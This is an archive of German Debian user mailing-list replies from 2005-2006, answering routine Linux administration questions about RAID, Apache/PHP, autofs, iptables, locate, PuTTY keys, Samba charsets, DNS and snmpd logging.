Re: AW: fremdes RAID1 einbinden

2006-11-19 Diskussionsfäden Sebastian Kayser
* Roger Rehnelt [EMAIL PROTECTED] wrote:
 In grub hab ich nix gemacht. Ich habe lediglich die Datei mdadm im init.d
 Verzeichnis modifiziert (den start- und stopteil):
 
 server01:~# cat /etc/init.d/mdadm
 [ ... manuelle RAID-Start-Anweisungen ... ]

Bei mir (Sarge) ist /etc/init.d/mdadm für das Starten des mdadm-Daemons
(zum Überwachen der RAID-Sets) verantwortlich, hat also mit dem
Assemblieren der RAID-Sets nichts zu tun.

Dafür ist /etc/init.d/mdadm-raid verantwortlich. Dort wird ausgewertet,
ob in /etc/default/mdadm AUTOSTART=YES gesetzt ist und gesetzt den Fall
werden existierende RAID-Sets laut der bereits erwähnten Konfiguration
aus /etc/mdadm/mdadm.conf assembliert bzw. wenn diese Konfig nicht
vorhanden ist, wird auf mdrun ausgewichen.

Poste bitte mal die Ausgabe folgender Befehle:
- cat /etc/default/mdadm
- cat /etc/mdadm/mdadm.conf
- grep CONFIG_MD /boot/config-$( uname -r)
- fdisk -l /dev/sda /dev/sdb

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: Nach (etch-)Neuinstallation funzt php nimmer

2006-11-19 Diskussionsfäden Sebastian Kayser
* Geronimo Ma. Hernandez [EMAIL PROTECTED] wrote:
 Nur bei apache2 und php5 bekomme ich es nicht gebacken.
 Anfangs dachte ich, es liegt an dem fehlenden Link für php in  mods-enabled - 
 und habe diesen eingefügt. 
 Jetzt wurde php wenigstens im Status mit angezeigt.
 Allerdings öffnet sich bei jeder php-Datei ein download-Fenster im Browser.

Hast Du sowohl die php5.load als auch die php5.conf nach mods-enabled
verlinkt? Falls nicht schon bekannt, verwende dafür den kleinen Helfer
a2enmod, der erspart Dir das manuelle Verlinken und verlinkt gleich
beide Dateien.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: (Semi OT) Debian, PHP und negatives Datum

2006-11-17 Diskussionsfäden Sebastian Kayser
* Jim Knuth [EMAIL PROTECTED] wrote:
 Ein Freund von mir will per php ein Datum/Zeit (z.B 05.06.1954,
 16.31 Uhr) im Browser ausgeben lassen. Dazu benutzt er folgendes
 Script:
 
 --snip
 ?
 $date = mktime (16,31,00,06,05,1954);
 echo brb.date(d.m.Y H:i,$date);
 ?
 --snap
 
 Es kommt aber immer raus: 01.01.1970 00:59
 
 Ist das ein Syntaxfehler oder hat da php nen Bug.

Das ist ein Denkfehler im Eingabewert. 

,  de.php.net/mktime 
| Gibt den Unix Timestamp/Zeitstempel an Hand der gegebenen Argumente
| zurück. Der Zeitstempel ist ein long-integer-Wert, der die Anzahl der
| Sekunden zwischen der UNIX Epoche (January 1 1970 00:00:00 GMT) und der
| angegebenen Zeit enthält.
`

1954 liegt vor dem 01.01.1970 und somit kann mktime auch keinen
sinnvollen Wert zurückgeben. Schaut Euch den Inhalt von $date an, da
wird wohl was Negatives drinstehen.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: (Semi OT) Debian, PHP und negatives Datum

2006-11-17 Diskussionsfäden Sebastian Kayser
* Jim Knuth [EMAIL PROTECTED] wrote:
 Heute (18.11.2006/00:57 Uhr) schrieb Max Muxe,
  * Jim Knuth [EMAIL PROTECTED] wrote:
  Ein Freund von mir will per php ein Datum/Zeit (z.B 05.06.1954,
  16.31 Uhr) im Browser ausgeben lassen. Dazu benutzt er folgendes
  Script:
 
  --snip
  ?
  $date = mktime (16,31,00,06,05,1954);
  echo brb.date(d.m.Y H:i,$date);
  ?
  --snap
 
  Es kommt aber immer raus: 01.01.1970 00:59
 
  Ist das ein Syntaxfehler oder hat da php nen Bug.
  Jetzt werde ich mal Verwirrung stiften:
  Bei mir (SuSE-Server als Webserver im LAN) klappt das!
  Ich bekomme in Fettschrift das Datum angezeigt!

Kurzzeitige Verwirrung entwirrt. Negative Zeitstempel waren mir neu,
aber man lernt ja nie aus.

 und wieso klappt das bei Debian dann nicht?

Hmpf, siehe:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=196177

Regression Bug in der libc die mit Sarge kommt. Wieder gefixt in
2.3.5-1, mit etch wirds also funktionieren.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: samba und automount

2006-11-17 Diskussionsfäden Sebastian Kayser
* Thomas [EMAIL PROTECTED] wrote:
 Ok, habe ich geändert, funktioniert noch immer nicht. Weder mit smbfs 
 noch mit cifs. Ich sehe nun, daß es die Alternative gibt den Mountpoint 
 in die fstab einzutragen. Es bleibt aber der Frust, daß ich keinen 
 Ansatz kenne um herausfinden zu können warum autofs nicht funktioniert. 
 Ich meine, das muss doch einen nachvollziehbaren Grund haben. In 
 /var/log/messages steht nichts dazu drin. Gibt es noch andere Logs, die 
 ich zur Fehlersuche heranziehen könnte?

Kurze Antwort:
- Nimm die Execute-Rechte von /etc/auto.nova
- /etc/init.d/autofs restart
- Gut ist

 Inzwischen bewerte ich es für mich persönlich wichtiger ein Verfahren 
 zur Fehlersuche kennenzulernen, da ich das Problem Ich denke ich habe 
 alles richtig eingestellt, aber es funktioniert nicht wie gewünscht 
 schon oft erlebt habe.

Dann wollen wir mal. Lange Antwort:

Wenn Du das doch recht umfangreiche Init-Skript von autofs mittels

bash -x /etc/init.d/autofs start

siehst Du gegen Ende, wie der automounter für einen bestimmten
Mountpunkt gestartet wird (nachgestellt für Deine Pfadangaben).

,
| start-stop-daemon --start --pidfile /var/run/autofs/_mnt_autofs.pid \
| --quiet --exec /usr/sbin/automount -- \
| --pid-file=/var/run/autofs/_mnt_autofs.pid --timeout=300 \
| /mnt/nova program /etc/auto.nova
`

Dabei das Debian-spezifische rausgeschnippelt ergibt in etwas das, was
auch in der manpage von automount zum Starten zu finden ist.

automount [options] mount-point map-type[,format] map [map-options]

Im Falle von /etc/init.d/autofs bekommst Du was ähnliches auch bereits
mit dem Parameter status zu sehen. bash -x ist lediglich etwas
universaler, kann also ggf. auch bei anderen Init-Skript-Problemen
verwendet werden.

Nun steht bei Deinem map-type program und laut kurzem Blick in die
manpage von autmount versucht autofs in diesem Fall, die angegebene Map
(/etc/auto.nova) auszuführen, anstatt sie direkt zu lesen. Eigentlich
sollte dort file stehen.

Wieso also wurde der automount mit der falschen Option gestartet?
Fürs Festlegen der Optionen und Starten des Daemons ist das Init-Skript
/etc/init.d/autofs verantwortlich. Diese Datei geöffnet und nach
program gesucht, findet sich

,   
| elif `echo $map | grep -q ^/`  [ -x $map ]; then
| maptype=program
| elif [ -x /etc/$map ]; then
| maptype=program
`

$maptype wird also auf program gesetzt, insofern $map ausführbar ist.
Das vorwärts und rückwärts gecheckt (wo kommt $map her, wo wird $maptype
weiterverwendet) und es ist klar, wo der Fehler liegt. Deine Map ist
_kein_ Programm, wird aber aufgrund der gesetzten Execute-Rechte vom
Init-Skript so behandelt.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: ssl 3.0

2006-11-17 Diskussionsfäden Sebastian Kayser
* Boris Andratzek [EMAIL PROTECTED] wrote:
 wir haben hier einen Apache laufen u.A. mit openssl. Nun ist der Firefox
 2.0 rausgekommen und der kann ja kein ssl 2.0 mehr. Ich finde nur sehr
 wenig bis kein Info dazu, was ich machen muss, damit unser openssl
 (0.9.7g-1) ssl 3.0 'spricht'.

Wenn Du mit damit unser openssl ssl 3.0 spricht mod_ssl von Apache 2.x
und dessen Konfiguration meinst, wirst Du in der mod_ssl-Doku unter

http://httpd.apache.org/docs/2.0/mod/mod_ssl.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html

fündig.

Sollte standardmäßig (d.h. insofern nicht andersweitig konfiguriert)
bereits SSLv3 sprechen. Kannste direkt mit

openssl s_client -connect euer.host.de:443 -ssl3

testen.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Sarge + Intel 5000V, Erfahrungen?

2006-11-16 Diskussionsfäden Sebastian Kayser
Hallo zusammen,

hat jemand von Euch Sarge erfolgreich auf einem Board mit Intel 5000V
Chipsatz im Einsatz (falls ja, mit ggf. welchen Anpassungen. Neuerer
Kernel, udev, ...)?

Bin aktuell am Server dimensionieren und wüsste gerne ob/wieviel Aufwand
betrieben werden muss, um den Chipsatz ordnungsgemäß ansteuern zu
können.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: [OT] USV-Frage

2006-11-16 Diskussionsfäden Sebastian Kayser
* Andre Timmermann [EMAIL PROTECTED] wrote:
 Am Donnerstag, den 16.11.2006, 14:22 +0100 schrieb Reinhold Plew:
  Wenn Du es genau wissen willst, brauchst Du:
  1. Die Leistungsaufnahme Deines Servers dafür - also messen.
 
 Da wird es, mangels Messgeräte, schwierig.

Die meisten Stadtwerke verleihen solche Geräte an Ihre Stromkunden
gebührenfrei. Einfach mal dort anfragen.

 Und ich nehme nicht an, dass ein Rechner mit 300W-Netzteil diese 300W
 auch ständig braucht. 

Korrekt. Das ist ja nur die maximale Leistungsaufnahme.

 Wenn also im Normalbetrieb (Mail, kleiner Webserver ohne viel Last,
 etc...) keine 300W benötigt werden ...

Exemplarisch: Bei einer Workstation mit P4 3GHz, 1 Platte und 330W
Netzteil hatte ich vor ein paar Monaten im Idle Betrieb 110 Watt
gemessen.

Sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: [SOLVED] iptables: Pro blem mit der Namenauflösung (name resolution)

2005-12-18 Diskussionsfäden Sebastian Kayser
* Claudius Hubig [EMAIL PROTECTED] wrote:
 Jan Luehr [EMAIL PROTECTED] wrote:
 ja hallo erstmal,...
 
 Am Sonntag, 18. Dezember 2005 11:11 schrieb Claudius Hubig:
 
  Hallo Liste,
 
  ich bin zur Zeit dabei, zu versuchen, mein Netzwerk mittels iptables
  abzudichten. Dazu bin ich nach
  http://www.online-tutorials.net/internet-netzwerk/iptables-tutorial/tutoria
 ls-t-29-214.html vorgegangen, habe jetzt jedoch ein Problem mit der
  Namenauflösung.
 
  ping IP funktioniert problemlos, während bspw. ping google.de nur einen
  unknown host meldet.
 
  Das zugehörige Script sieht folgendermaßen aus:
 
  #!/bin/bash
  IPTABLES=/sbin/iptables
  EXT_DEV=eth1
  INT_NET=192.168.0.0/24
  #Ports to Forward
  FORWARD_1_TCP=21,22,25,53,80,110,119,443,1716,1717,1718,1719
  FORWARD_2_TCP=2341,2342,5050,5190,5222,6667,6668,8000,8080
  FORWARD_UDP=53,1716,1717,1718,1719
 [...]
 
   /sbin/iptables -t filter -A INPUT -p udp -m multiport
  --dport $INPUT_UDP -j ACCEPT echo Input Rules were set
 
 Das kam bei dir so an? - Entschuldige bitte.
 
 Müsste es hier nicht eher sport heißen?
 
 Mhm, ja, mit sport geht es - aber warum? Ich meine da kommt ja was
 Rein, das auf einen bestimmten Port will. Dieser ist doch 53, oder?
 Der Sourceport dürfte da doch keine Rolle spielen. *verwirrtsei* - Da
 werde ich auf alle Fälle nochmal was zu nachlesen - aber es geht ja
 jetzt, danke :)

Über das ACCEPT im OUTPUT-Table für Ziel-Port UDP/53 gingen die
DNS-Anfragen zwar raus (von einem unpriviligierten Quell-Port 1024),
die Antworten vom entfernten Port UDP/53 zurück an Deinen lokalen
unpriviligierten Quell-Port UDP/1024 kamen jedoch nicht mehr durch
die Regeln Deines INPUT-Tables zurück.

Mit Deinen aktuellen Regeln musst Du jeglichen Rückverkehr ebenfalls
erlauben. Die Regel von Jan hat dies nun für DNS ermöglicht, mache es
Dir hier einfacher und nimm eine Zeile a la

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

in Deinen INPUT-Table auf. Die erlaubt jeglichen Rückverkehr für
ausgehende Verbindungen (insofern iptables mit dem Protokoll klarkommt,
für FTP muss z.B. noch conntrack_ftp als Modul hinzugeladen werden).

 Generell musst du aber aufpassen, nicht alles, was von sport 53 kommt 
 hereinzulassen ;)
 
 Joa, aber ob ich den jetzt noch extra öffne, wenn ich den Rest
 abschließe oder er sowieso offen ist, weil da der named drauf
 lauscht, dürfte doch eigentlich egal sein, oder? ;)

??

- sebastian



Re: pop3/tcp failing und ipop3d lock

2005-12-14 Diskussionsfäden Sebastian Kayser
* Michael Gustav Simon [EMAIL PROTECTED] wrote:
 mein POP3 Dienst erzeugt sporadisch folgende Fehlermeldungen.
 ...
 Dec 13 18:33:48 myhost inetd[5829]: pop3/tcp server failing (looping),
 service terminated

Die manpage des inetd als auch google geben über obige Meldung Auskunft.

http://www.eudora.com/techsupport/kb/2260hq.html

Sprich, Dein inetd erhält mehr Anfragen innerhalb einer Minute, als
vorgesehen sind und inetd deaktiviert den Service erst einmal. 

 ...
 und
 ...
 Dec 13 19:52:26 myhost ipop3d[24320]: connect from ...
 Dec 13 19:52:26 myhost ipop3d[24320]: pop3 service init from ...
 Dec 13 19:52:26 myhost ipop3d[24320]: Trying to get mailbox lock from
 process 17345
 Dec 13 19:52:40 myhost ipop3d[24320]: Mailbox is open by another
 process, access is readonly
 Dec 13 19:52:40 myhost ipop3d[24320]: Error opening or locking INBOX
 user=apfel host=...
 Dec 13 19:52:40 myhost ipop3d[24320]: Login user=apfel host=... no mailbox
 Dec 13 19:52:40 myhost ipop3d[24320]: Expunge ignored on readonly mailbox
 Dec 13 19:52:40 myhost ipop3d[24320]: Logout user=apfel host=... nmsgs=1 
 ndele=0
 ...
 Die Clients erhalten ein timeout oder der Benutzer wird nicht akzeptiert.
 Wie kann ich zur Behebung diesen Fehelr  analysieren?

Da hängt wohl noch ein anderer Prozess auf der Mailbox. lsof
/pfad/zur/mailbox sollte Dir sagen, welcher das ist. Mit der Information
kannst Du dann weiter analysieren.

- sebastian



Re: tomcat4 Prozesse

2005-12-14 Diskussionsfäden Sebastian Kayser
* Andreas Pakulat [EMAIL PROTECTED] wrote:
 On 14.12.05 12:36:07, Klaus Dahlwitz wrote:
  Michael Gustav Simon [EMAIL PROTECTED] wrote:
  
   eine Frage zu tomcat4 unter debian.
   Wieso werden unter debian 28 Prozesse gestartet?
   
   $ /etc/init.d/tomcat4 start
   $ ps -u tomcat4 | wc
   
   Zeigen 28 java-Prozesse.
   
   Andere Distrubitionen wie Fedora Core 4 und SuSE 8 starten ein Prozess.
  
  Identische Konfiguration?
  
  Ich habe hier ein Testsystem mit woody, apache 1.3.26, tomcat 4.1.31
  (apache und tomcat per connector verbunden) -- ich sehe 28
  java-Prozesse; meines Wissens handelt es sich hierbei um eine Abbildung
  der java-threads auf Linux-Prozesse.
 
 Hmm, das letztere koennte in der Tat eine Erklaerung sein, IIRC hat Java
 unter Linux 2 moegliche Implementierungen fuer Threads und AFAIK kann
 man die auch irgendwie wechseln. 

Meinst Du evtl. die generellen Threads-Implementierungen (nichts
Java-Spezifisches), die sich per LD_ASSUME_KERNEL steuern lassen?

http://people.redhat.com/drepper/assumekernel.html

Wie sich multiple Threads von multiplen Prozessen mit den pstools
unterscheiden lassen, würde ich aber auch mal gerne wissen.

- sebastian



Re: laufender Angriffsversuch?

2005-12-13 Diskussionsfäden Sebastian Kayser
* Hans-Juergen Tappe [EMAIL PROTECTED] wrote:
 André Bischof wrote:
  Danke euch allen für die Tipps, speziell Sachen wie sshfilter werde ich
  mir mal angucken.
  root-login geht auch nicht, über portknocking hatte ich mal nachgedacht,
  sollte ich vielleicht nochmal tun :-)
 
 Gibt's eigentlich Programme/Skripts/Anleitungen für portknocking oder
 sshfilter für die debian-Distribution oder ist das angedacht?

sshfilter selbst nicht, aber ab etch ist fail2ban enthalten, was in etwa
das Gleiche leistet. Für Portknocking muss ich passen, Du kannst ja mal
auf debian.de die Paketverzeichnisse durchsuchen.

- sebastian



Re: Verwendung von OpenSSH -Schlüsseln in PuTTY (was: laufender Angriffsversuch?)

2005-12-12 Diskussionsfäden Sebastian Kayser
* Ace Dahlmann [EMAIL PROTECTED] wrote:
 On Mon, 12 Dec 2005 19:25:02 +0100
 Andreas Pakulat [EMAIL PROTECTED] wrote:
 
?? Wozu gibts usb-sticks? Ok, mit putty als client ists bisschen
problematischer... 
  
  Ich meinte vor allem in Hinblick darauf dass man die Keys zur
  Verwendung mit Putty erst in dessen Format konvertieren muss -
  jedenfalls IIRC und AFAIK.
 
 Ja, ich kann mich auch dunkel erinnern, dass das nicht direkt so ging.
 
 Und da ich das jetzt wohl auch bald wieder wo anwenden muss,... evtl.
 kann uns jemand da auf die Sprünge helfen!? :-)

Ja, PuTTY verwendet ein eigenes Format für den privaten Schlüssel. 

 ,-[ PuTTY FAQ ]
| ...
| A.2.2 Does PuTTY support reading OpenSSH or ssh.com SSH-2 private key
| files?
| 
| PuTTY doesn't support this natively, but as of 0.53 PuTTYgen can convert
| both OpenSSH and ssh.com private key files into PuTTY's format. 
| ...
 `--

PuTTYgen generiert Schlüssel im PuTTY-Format und beherrscht Formats-
Konvertierungen in beide Richtungen, sprich OpenSSH zu PuTTY und vice
versa.

Die öffentlichen Pendants Eurer Schlüssel in diversen authorized_keys
funktionieren weiterhin. Lediglich der private Schlüssel muss zur
Verwendung mit PuTTY konvertiert werden. Ich hab' hier auf meinem
USB-Stick sowohl einen im PuTTY- als auch im OpenSSH-Format.

- sebastian



Re: Alternative zu tinyurl.com

2005-12-10 Diskussionsfäden Sebastian Kayser
* Andreas Kroschel [EMAIL PROTECTED] wrote:
 * Sebastian Kayser:
 
  P.S.: Gibt es eine Alternative zu tinyurl.com, das war grad wieder 
  l a n g s a m ?
 
 shorl.com. Dazu passend gibts shorlfilter, durch den Du Deine Texte zum
 URL-Kürzen jagen kannst, auch als Debian-Paket.

Besten Dank. Speziell shorlfilter ist wirklich praktisch.

- sebastian



Re: locates Datenbank leer

2005-12-09 Diskussionsfäden Sebastian Kayser
* André Bischof [EMAIL PROTECTED] wrote:
 Hallo,
 
 mein locate bzw. updatedb will nicht mehr:
 
 [EMAIL PROTECTED]:/var/log# locate -S
 Database /var/cache/locate/locatedb is in the LOCATE02 format.
 Locate database size: 10 bytes
 Filenames: 0 with a cumulative length of 0 bytes
 of which 0 contain whitespace,
 0 contain newline characters,
 and 0 contain characters with the high bit set.
 Compression ratio -inf%
 
 Ich hab sogar schon die findutils auf unstable upgedated, weil ich 
 dachte dass die alten vielleicht kaputt sind, bringt aber keine Änderung.
 
 updatedb wird ausgeführt ohne Fehler, ist aber sofort fertig (1s). 
 Nichts in syslog|messages.
 
 Bislang wurde die DB immer via cron aktualisiert, /etc/updatedb.conf 
 scheint mir auch richtig zu sein, ich hab da keine Idee - habt ihr eine?

Schonmal /var/cache/locate/locatedb gelöscht?

- sebastian



Re: locates Datenbank leer

2005-12-09 Diskussionsfäden Sebastian Kayser
* André Bischof [EMAIL PROTECTED] wrote:
 Sebastian Kayser schrieb:
 ...
 Schonmal /var/cache/locate/locatedb gelöscht?
 
 hab's gerade probiert, wenn ich dann updatedb mache, wird sie wieder neu 
 angelegt, aber nur mit 10b Größe, wie vorher.

Schau Dir mal

http://tinyurl.com/dvogp

an. Evtl. hat nicht updatedb selbst ein Problem, sondern etwas, mit dem
updatedb arbeitet. 

Wie ist denn der Rückgabewert von updatedb? Notfalls lasse updatedb mal
mit nem strace laufen und schaue Dir an, womit er Probleme hat.

 Hier vielleicht doch mal die updatedb.conf, an der ich (händisch) aber 
 auch nichts geändert habe. Irgendwie verstehe ich nicht warum das nicht 
 klappt, /var hat auch noch über 3GB Platz, daran kann's also auch nicht 
 liegen.

Wie kann man (händisch) nichts ändern?! ;)

- sebastian

P.S.: Gibt es eine Alternative zu tinyurl.com, das war grad wieder 
l a n g s a m ?



Re: locates Datenbank leer

2005-12-09 Diskussionsfäden Sebastian Kayser
* Frank Terbeck [EMAIL PROTECTED] wrote:
 André Bischof [EMAIL PROTECTED] wrote:
  Sebastian Kayser schrieb:
  ...
  Schonmal /var/cache/locate/locatedb gelöscht?
  
  hab's gerade probiert, wenn ich dann updatedb mache, wird sie wieder neu 
  angelegt, aber nur mit 10b Größe, wie vorher.
 
 du könntest einmal
 
 % sh -x /usr/bin/updatedb
 
 versuchen, und schauen, ob dir etwas verdächtiges dabei auffällt.
 Deine updatedb.conf sieht so aus wie meine.

Ähm, ok, vergesse das strace aus meiner letzten Mail ...

- sebastian



Re: MaraDNS

2005-12-08 Diskussionsfäden Sebastian Kayser
* lars behrens [EMAIL PROTECTED] wrote:
 allerdings nützt mir das immer noch nichts bei dynamischen clients.
 
 kann einfach sein, dass ISC-Dhcpd und MaraDNS an diesem Punkt nicht 
 zussammenarbeiten.
 
 wäre aber auch nicht 1. priorität.

Wie gesagt, das Stichwort ist DDNS. Google und die MaraDNS-Seite
schweigen sich dazu jedoch aus. Keine Ahnung, ob der ISC-DHCPD überhaupt
mit anderen DNS-Servern als dem Bind DDNS fahren kann.

Wenn Du es wirklich wissen willst, frage

a) den Entwickler von MaraDNS
http://www.maradns.org/contact.html
b) auf der dhcp-server Mailingliste
http://www.isc.org/index.pl?/sw/dhcp/

Die werden besser Bescheid wissen, als wir hier.

- sebastian



Re: Umstellung Samba 2 auf 3, Zeichensatz

2005-12-06 Diskussionsfäden Sebastian Kayser
* Robert Einsle [EMAIL PROTECTED] wrote:
 ich bin gerade dabei, etliche meiner Woody-Installationen auf Sarge 
 upzudaten. Immerwieder habe ich das Problem, dass bei daten, die über 
 Samba abgelegt wurden, dann die Umlaute nicht mehr passen. Kennt jemand 
 ne Lösung dafür, bzw. weiss jemand, was ich tun kann?

Auf Windows-Seite im Share sehen die Umlaute OK aus, auf dem Samba-Host
selbst sind die Umlaute im Dateinamen zerhackstückelt?

Samba 3 spricht mit seinen Clients Unicode (bis auf alte DOSen).
Insofern Du auf dem Samba-Host selbst kein Unicode fährst, suchst Du
nach der Direktive unix charset, mit der Du Samba sagst, welcher
Zeichensatz auf dem Samba-Host zu fahren ist (display charset solltest
Du synonym setzen).

- sebastian



Re: MaraDNS

2005-12-06 Diskussionsfäden Sebastian Kayser
* lars behrens [EMAIL PROTECTED] wrote:
 ich habe hier maradns auf debian sarge 3.1 aufgesetzt.
 
 die namensauflösung geht wunderbar, nur habe ich zwei punkte, bei denen 
 mir doku und usergroups nicht weitergeholfen haben:
 
 -  ich möchte in unserem LAN nicht immer den gesamten domainnamen mit 
 angeben, ein ping auf mueller soll also eine antwort von 
 mueller.unser-netz.lokal zurückgeben.

Hier kommt Client-seitig die DNS-Suffix-Suchliste mit ins Spiel. Das ist
die Liste gleichen Namens in der TCP/IP-Konfiguration des
Windows-Netzwerkadapters oder aber die search-Anweisungen in
/etc/resolv.conf für Linux/Unix-Hosts. Bei manueller
Netzwerkkonfiguration musst Du diese Liste ebenso manuell um
unser-netz.lokal ergänzen, ansonsten ist das eine Konfigurationsoption
des DHCP-Servers.

 - unsere NT- und W2k-DNS-Server listen zusätzlich noch bei den 
 dhcp-hosts im LAN die zuteilung IP-Adresse = hostname; 
 mueller.unser-netz.lokal kann also heute die IP 192.168.0.17 und morgen 
 die IP 192.168.0.99 haben, trotzdem kann ich im LAN den host immer per

 ping mueller
 
 erreichen.
 
 was wäre das äquivalent dafür unter MaraDNS? oder sind diese features
 nur in BIND9 implementiert?

Keine Ahnung, was MaraDNS angeht (muss ich mir mal bei Gelegenheit
anschauen), bei Bind sind das dynamische DNS Updates. Der DHCP-Server,
welcher die Leases verteilt, muss dafür sorgen, dass die entsprechenden
Updates im DNS getätigt werden. Es gehören also zwei Seiten dazu,
DHCP-Server und DNS-Server. Mit dem ISC dhcpd (Paket dhcpd3-server) und
bind9 funktioniert das hier (bind-Direktiven ddns-key / allow-update). 

- sebastian



Re: Problem mit locales

2005-12-06 Diskussionsfäden Sebastian Kayser
* Torsten Geile [EMAIL PROTECTED] wrote:
 perl: warning: Setting locale failed.
 perl: warning: Please check that your locale settings:
 LANGUAGE = de_DE:de:en_GB:en,
 LC_ALL = (unset),
 LANG = de_DE
 are supported and installed on your system.
 perl: warning: Falling back to the standard locale (C).
 locale: Cannot set LC_CTYPE to default locale: No such file or directory
 locale: Cannot set LC_MESSAGES to default locale: No such file or directory
 locale: Cannot set LC_ALL to default locale: No such file or directory
 /usr/bin/locale: Cannot set LC_CTYPE to default locale: No such file or
 directory
 /usr/bin/locale: Cannot set LC_MESSAGES to default locale: No such file or
 directory
 /usr/bin/locale: Cannot set LC_ALL to default locale: No such file or
 directory
 
 Ein Auszug aus /etc/environment sieht so aus:
 
 LANGUAGE=de_DE:de:en_GB:en
 Lang=DE
 
 [EMAIL PROTECTED]
 
 
 In /etc/locale.gen steht
 
 [EMAIL PROTECTED] ISO-8859-15
 #en_GB.ISO-8859-15 ISO-8859-15
 
 Was muss ich denn wo einstellen bzw. neuinstallieren?

Prüfe mit locale -a, ob [EMAIL PROTECTED] überhaupt richtig generiert wurde,
lasse ggf.  dpkg-reconfigure locales nochmals laufen, mit locale -a
wieder gegenprüfen, ausloggen, einloggen. 

Mit locale prüfen, ob /etc/environment ordnungsgemäß ausgewertet
wurde und z.B. perl -v aufrufen, das dann nicht mehr meckern sollte.

Die Einstellung LANGUAGE in /etc/environment sagt mir erstmal nichts,
Lang ist wohl nur zu Testzwecken bzw. fehl am Platz, denn das System
verwendet LANG.

- sebastian



Re: Umstellung Samba 2 auf 3, Zeichensatz

2005-12-06 Diskussionsfäden Sebastian Kayser
* Andreas Vögele [EMAIL PROTECTED] wrote:
 Sebastian Kayser writes:
 
  Samba 3 spricht mit seinen Clients Unicode (bis auf alte DOSen).
  Insofern Du auf dem Samba-Host selbst kein Unicode fährst, suchst Du
  nach der Direktive unix charset, mit der Du Samba sagst, welcher
  Zeichensatz auf dem Samba-Host zu fahren ist [...]
 
 Alternativ könnte Robert seine Dateinamen auch mit Hilfe des Programms
 convmv in UTF-8 umwandeln, wenn sie momentan noch mit Latin-1 oder
 CP850 kodiert sind.

Gute Alternative. Dann sollte jedoch sichergestellt werden, dass auch
sein System mit UTF-8 läuft, sonst bekommt er auf der Kommandozeile
Probleme mit der Anzeige der Datei- bzw. Ordernamen.

- sebastian



Re: squirrelmail und php5

2005-12-06 Diskussionsfäden Sebastian Kayser
* Fatih Ekrem Genc [EMAIL PROTECTED] wrote:
hi nach dem ich auf php5 um geschtigen bin
 
lauft die squirrelmail  nicht mehr 
 
die fehler lautet folgendes :
 
Fatal error: Call to undefined function session_id() in
/usr/share/squirrelmail/functions/global.php on line 331
 
wie kann ich es beheben?

Groß-/Kleinschreibung kaputt?

Woher hast Du denn Dein PHP5. Fährst Du testing oder selbst kompiliert?
Insofern selbst kompiliert sollte Dir

google.de: squirrelmail php5 session_id

direkt mit dem ersten Hit weiterhelfen. 

- sebastian



Re: snmpd[1283]: Connection from UDP: [127.0.0.1]:32789

2005-12-05 Diskussionsfäden Sebastian Kayser
* Ronny Wagner [EMAIL PROTECTED] wrote:
 seit geraumer Zeit bekomme ich im 5 min. Rhytmus die o.g. Meldung in
 meinem Syslog. 

Das sind normale SNMP-Kontaktaufnahmen, die Dein snmpd mit der obigen
Meldung protokolliert. Hast Du Cacti o.ä. laufen, was 5-minütlich
Kommunikationsbedarf mit Deinem Host hat?

 Hättet Ihr eine Ahnung, wie ich diese Meldung wegbringe, außer den
 snmpd-Dienst zu deaktivieren? Gibts da irgendwo eine Einstellung in der
 snmpd.conf?

Für das Logging kennt snmpd ein paar Startparameter, die sich in
/etc/default/snmpd über die Variable SNMPDOPTS setzen lassen (siehe auch
man snmpcmd und dort den Abschnitt LOGGING OPTIONS). 

Konkret hast Du mehrere Alternativen:

*) Syslog-Logging des snmpd komplett deaktivieren bzw. ihn in eine Datei
loggen lassen (-Lsd entfernen bzw. -Lf /dev/null durch geeignete Datei
ersetzen und diese in die Rotierung durch logrotate aufnehmen). Dann
siehst Du die Meldungen nicht mehr in den üblichen Syslog-Logdateien,
sondern garnicht bzw. andernorts.

*) Syslog-Logging des snmpd auf eine Meldungen der Stufe NOTICE und
höher beschränken (-Lsd durch -LS 5 d ersetzen). 

Beides erfordert einen Restart des snmpd, dann kannst Du mal einen
snmpwalk auf localhost laufen lassen und solltest keine entsprechende
Log-Meldung mehr sehen.

In Variante zwei meldet snmpd bei mir aktuell garnix mehr, ist also
